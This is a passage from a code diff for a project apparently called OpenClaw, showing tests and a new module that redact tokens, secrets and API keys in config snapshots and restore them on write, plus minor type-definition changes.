expect(channels.feishu.appSecret).toBe(REDACTED_SENTINEL);
});
it("redacts signingSecret fields", () => {
const snapshot = makeSnapshot({
channels: {
slack: { signingSecret: "slack-signing-secret-value-1234" },
},
});
const result = redactConfigSnapshot(snapshot);
const channels = result.config.channels as Record<string, Record<string, string>>;
expect(channels.slack.signingSecret).toBe(REDACTED_SENTINEL);
});
it("redacts short secrets with same sentinel", () => {
const snapshot = makeSnapshot({
gateway: { auth: { token: "short" } },
});
const result = redactConfigSnapshot(snapshot);
const gw = result.config.gateway as Record<string, Record<string, string>>;
expect(gw.auth.token).toBe(REDACTED_SENTINEL);
});
it("preserves non-sensitive fields", () => {
const snapshot = makeSnapshot({
ui: { seamColor: "#0088cc" },
gateway: { port: 18789 },
models: { providers: { openai: { baseUrl: "https://api.openai.com" } } },
});
const result = redactConfigSnapshot(snapshot);
expect(result.config).toEqual(snapshot.config);
});
it("preserves hash unchanged", () => {
const snapshot = makeSnapshot({ gateway: { auth: { token: "secret-token-value-here" } } });
const result = redactConfigSnapshot(snapshot);
expect(result.hash).toBe("abc123");
});
it("redacts secrets in raw field via text-based redaction", () => {
const config = { token: "abcdef1234567890ghij" };
const raw = '{ "token": "abcdef1234567890ghij" }';
const snapshot = makeSnapshot(config, raw);
const result = redactConfigSnapshot(snapshot);
expect(result.raw).not.toContain("abcdef1234567890ghij");
expect(result.raw).toContain(REDACTED_SENTINEL);
});
it("redacts parsed object as well", () => {
const config = {
channels: { discord: { token: "MTIzNDU2Nzg5MDEyMzQ1Njc4.GaBcDe.FgH" } },
};
const snapshot = makeSnapshot(config);
const result = redactConfigSnapshot(snapshot);
const parsed = result.parsed as Record<string, Record<string, Record<string, string>>>;
expect(parsed.channels.discord.token).toBe(REDACTED_SENTINEL);
});
it("handles null raw gracefully", () => {
const snapshot: ConfigFileSnapshot = {
path: "/test",
exists: false,
raw: null,
parsed: null,
valid: false,
config: {} as ConfigFileSnapshot["config"],
issues: [],
warnings: [],
legacyIssues: [],
};
const result = redactConfigSnapshot(snapshot);
expect(result.raw).toBeNull();
expect(result.parsed).toBeNull();
});
it("handles deeply nested tokens in accounts", () => {
const snapshot = makeSnapshot({
channels: {
slack: {
accounts: {
workspace1: { botToken: "fake-workspace1-token-abcdefghij" },
workspace2: { appToken: "fake-workspace2-token-abcdefghij" },
},
},
},
});
const result = redactConfigSnapshot(snapshot);
const channels = result.config.channels as Record<
string,
Record<string, Record<string, Record<string, string>>>
>;
expect(channels.slack.accounts.workspace1.botToken).toBe(REDACTED_SENTINEL);
expect(channels.slack.accounts.workspace2.appToken).toBe(REDACTED_SENTINEL);
});
it("handles webhookSecret field", () => {
const snapshot = makeSnapshot({
channels: {
telegram: { webhookSecret: "telegram-webhook-secret-value-1234" },
},
});
const result = redactConfigSnapshot(snapshot);
const channels = result.config.channels as Record<string, Record<string, string>>;
expect(channels.telegram.webhookSecret).toBe(REDACTED_SENTINEL);
});
it("redacts env vars that look like secrets", () => {
const snapshot = makeSnapshot({
env: {
vars: {
OPENAI_API_KEY: "sk-proj-1234567890abcdefghij",
NODE_ENV: "production",
},
},
});
const result = redactConfigSnapshot(snapshot);
const env = result.config.env as Record<string, Record<string, string>>;
expect(env.vars.OPENAI_API_KEY).toBe(REDACTED_SENTINEL);
// NODE_ENV is not sensitive, should be preserved
expect(env.vars.NODE_ENV).toBe("production");
});
it("redacts raw by key pattern even when parsed config is empty", () => {
const snapshot: ConfigFileSnapshot = {
path: "/test",
exists: true,
raw: '{ token: "raw-secret-1234567890" }',
parsed: {},
valid: false,
config: {} as ConfigFileSnapshot["config"],
issues: [],
warnings: [],
legacyIssues: [],
};
const result = redactConfigSnapshot(snapshot);
expect(result.raw).not.toContain("raw-secret-1234567890");
expect(result.raw).toContain(REDACTED_SENTINEL);
});
it("redacts sensitive fields even when the value is not a string", () => {
const snapshot = makeSnapshot({
gateway: { auth: { token: 1234 } },
});
const result = redactConfigSnapshot(snapshot);
const gw = result.config.gateway as Record<string, Record<string, string>>;
expect(gw.auth.token).toBe(REDACTED_SENTINEL);
});
});
describe("restoreRedactedValues", () => {
it("restores sentinel values from original config", () => {
const incoming = {
gateway: { auth: { token: REDACTED_SENTINEL } },
};
const original = {
gateway: { auth: { token: "real-secret-token-value" } },
};
const result = restoreRedactedValues(incoming, original) as typeof incoming;
expect(result.gateway.auth.token).toBe("real-secret-token-value");
});
it("preserves explicitly changed sensitive values", () => {
const incoming = {
gateway: { auth: { token: "new-token-value-from-user" } },
};
const original = {
gateway: { auth: { token: "old-token-value" } },
};
const result = restoreRedactedValues(incoming, original) as typeof incoming;
expect(result.gateway.auth.token).toBe("new-token-value-from-user");
});
it("preserves non-sensitive fields unchanged", () => {
const incoming = {
ui: { seamColor: "#ff0000" },
gateway: { port: 9999, auth: { token: REDACTED_SENTINEL } },
};
const original = {
ui: { seamColor: "#0088cc" },
gateway: { port: 18789, auth: { token: "real-secret" } },
};
const result = restoreRedactedValues(incoming, original) as typeof incoming;
expect(result.ui.seamColor).toBe("#ff0000");
expect(result.gateway.port).toBe(9999);
expect(result.gateway.auth.token).toBe("real-secret");
});
it("handles deeply nested sentinel restoration", () => {
const incoming = {
channels: {
slack: {
accounts: {
ws1: { botToken: REDACTED_SENTINEL },
ws2: { botToken: "user-typed-new-token-value" },
},
},
},
};
const original = {
channels: {
slack: {
accounts: {
ws1: { botToken: "original-ws1-token-value" },
ws2: { botToken: "original-ws2-token-value" },
},
},
},
};
const result = restoreRedactedValues(incoming, original) as typeof incoming;
expect(result.channels.slack.accounts.ws1.botToken).toBe("original-ws1-token-value");
expect(result.channels.slack.accounts.ws2.botToken).toBe("user-typed-new-token-value");
});
it("handles missing original gracefully", () => {
const incoming = {
channels: { newChannel: { token: REDACTED_SENTINEL } },
};
const original = {};
expect(() => restoreRedactedValues(incoming, original)).toThrow(/redacted/i);
});
it("handles null and undefined inputs", () => {
expect(restoreRedactedValues(null, { token: "x" })).toBeNull();
expect(restoreRedactedValues(undefined, { token: "x" })).toBeUndefined();
});
it("round-trips config through redact → restore", () => {
const originalConfig = {
gateway: { auth: { token: "gateway-auth-secret-token-value" }, port: 18789 },
channels: {
slack: { botToken: "fake-slack-token-placeholder-value" },
telegram: {
botToken: "fake-telegram-token-placeholder-value",
webhookSecret: "fake-tg-secret-placeholder-value",
},
},
models: {
providers: {
openai: {
apiKey: "sk-proj-fake-openai-api-key-value",
baseUrl: "https://api.openai.com",
},
},
},
ui: { seamColor: "#0088cc" },
};
const snapshot = makeSnapshot(originalConfig);
// Redact (simulates config.get response)
const redacted = redactConfigSnapshot(snapshot);
// Restore (simulates config.set before write)
const restored = restoreRedactedValues(redacted.config, snapshot.config);
expect(restored).toEqual(originalConfig);
});
});
+168
View File
@@ -0,0 +1,168 @@
import type { ConfigFileSnapshot } from "./types.openclaw.js";
/**
* Sentinel value used to replace sensitive config fields in gateway responses.
* Write-side handlers (config.set, config.apply, config.patch) detect this
* sentinel and restore the original value from the on-disk config, so a
* round-trip through the Web UI does not corrupt credentials.
*/
export const REDACTED_SENTINEL = "__OPENCLAW_REDACTED__";
/**
* Patterns that identify sensitive config field names.
* Aligned with the UI-hint logic in schema.ts.
*/
const SENSITIVE_KEY_PATTERNS = [/token/i, /password/i, /secret/i, /api.?key/i];
function isSensitiveKey(key: string): boolean {
return SENSITIVE_KEY_PATTERNS.some((pattern) => pattern.test(key));
}
/**
* Deep-walk an object and replace values whose key matches a sensitive pattern
* with the redaction sentinel.
*/
function redactObject(obj: unknown): unknown {
if (obj === null || obj === undefined) {
return obj;
}
if (typeof obj !== "object") {
return obj;
}
if (Array.isArray(obj)) {
return obj.map(redactObject);
}
const result: Record<string, unknown> = {};
for (const [key, value] of Object.entries(obj as Record<string, unknown>)) {
if (isSensitiveKey(key) && value !== null && value !== undefined) {
result[key] = REDACTED_SENTINEL;
} else if (typeof value === "object" && value !== null) {
result[key] = redactObject(value);
} else {
result[key] = value;
}
}
return result;
}
export function redactConfigObject<T>(value: T): T {
return redactObject(value) as T;
}
/**
* Collect all sensitive string values from a config object.
* Used for text-based redaction of the raw JSON5 source.
*/
function collectSensitiveValues(obj: unknown): string[] {
const values: string[] = [];
if (obj === null || obj === undefined || typeof obj !== "object") {
return values;
}
if (Array.isArray(obj)) {
for (const item of obj) {
values.push(...collectSensitiveValues(item));
}
return values;
}
for (const [key, value] of Object.entries(obj as Record<string, unknown>)) {
if (isSensitiveKey(key) && typeof value === "string" && value.length > 0) {
values.push(value);
} else if (typeof value === "object" && value !== null) {
values.push(...collectSensitiveValues(value));
}
}
return values;
}
/**
* Replace known sensitive values in a raw JSON5 string with the sentinel.
* Values are replaced longest-first to avoid partial matches.
*/
function redactRawText(raw: string, config: unknown): string {
const sensitiveValues = collectSensitiveValues(config);
sensitiveValues.sort((a, b) => b.length - a.length);
let result = raw;
for (const value of sensitiveValues) {
const escaped = value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
result = result.replace(new RegExp(escaped, "g"), REDACTED_SENTINEL);
}
const keyValuePattern =
/(^|[{\s,])((["'])([^"']+)\3|([A-Za-z0-9_$.-]+))(\s*:\s*)(["'])([^"']*)\7/g;
result = result.replace(
keyValuePattern,
(match, prefix, keyExpr, _keyQuote, keyQuoted, keyBare, sep, valQuote, val) => {
const key = (keyQuoted ?? keyBare) as string | undefined;
if (!key || !isSensitiveKey(key)) {
return match;
}
if (val === REDACTED_SENTINEL) {
return match;
}
return `${prefix}${keyExpr}${sep}${valQuote}${REDACTED_SENTINEL}${valQuote}`;
},
);
return result;
}
/**
* Returns a copy of the config snapshot with all sensitive fields
* replaced by {@link REDACTED_SENTINEL}. The `hash` is preserved
* (it tracks config identity, not content).
*
* Both `config` (the parsed object) and `raw` (the JSON5 source) are scrubbed
* so no credential can leak through either path.
*/
export function redactConfigSnapshot(snapshot: ConfigFileSnapshot): ConfigFileSnapshot {
const redactedConfig = redactConfigObject(snapshot.config);
const redactedRaw = snapshot.raw ? redactRawText(snapshot.raw, snapshot.config) : null;
const redactedParsed = snapshot.parsed ? redactConfigObject(snapshot.parsed) : snapshot.parsed;
return {
...snapshot,
config: redactedConfig,
raw: redactedRaw,
parsed: redactedParsed,
};
}
/**
* Deep-walk `incoming` and replace any {@link REDACTED_SENTINEL} values
* (on sensitive keys) with the corresponding value from `original`.
*
* This is called by config.set / config.apply / config.patch before writing,
* so that credentials survive a Web UI round-trip unmodified.
*/
export function restoreRedactedValues(incoming: unknown, original: unknown): unknown {
if (incoming === null || incoming === undefined) {
return incoming;
}
if (typeof incoming !== "object") {
return incoming;
}
if (Array.isArray(incoming)) {
const origArr = Array.isArray(original) ? original : [];
return incoming.map((item, i) => restoreRedactedValues(item, origArr[i]));
}
const orig =
original && typeof original === "object" && !Array.isArray(original)
? (original as Record<string, unknown>)
: {};
const result: Record<string, unknown> = {};
for (const [key, value] of Object.entries(incoming as Record<string, unknown>)) {
if (isSensitiveKey(key) && value === REDACTED_SENTINEL) {
if (!(key in orig)) {
throw new Error(
`config write rejected: "${key}" is redacted; set an explicit value instead of ${REDACTED_SENTINEL}`,
);
}
result[key] = orig[key];
} else if (typeof value === "object" && value !== null) {
result[key] = restoreRedactedValues(value, orig[key]);
} else {
result[key] = value;
}
}
return result;
}
+2
View File
@@ -16,6 +16,8 @@ export type AgentModelEntryConfig = {
alias?: string;
/** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */
params?: Record<string, unknown>;
/** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */
streaming?: boolean;
};
export type AgentModelListConfig = {
-2
View File
@@ -1,6 +1,5 @@
import type { GroupPolicy } from "./types.base.js";
import type { DiscordConfig } from "./types.discord.js";
import type { FeishuConfig } from "./types.feishu.js";
import type { GoogleChatConfig } from "./types.googlechat.js";
import type { IMessageConfig } from "./types.imessage.js";
import type { MSTeamsConfig } from "./types.msteams.js";
@@ -29,7 +28,6 @@ export type ChannelsConfig = {
whatsapp?: WhatsAppConfig;
telegram?: TelegramConfig;
discord?: DiscordConfig;
feishu?: FeishuConfig;
googlechat?: GoogleChatConfig;
slack?: SlackConfig;
signal?: SignalConfig;

Some files were not shown because too many files have changed in this diff Show More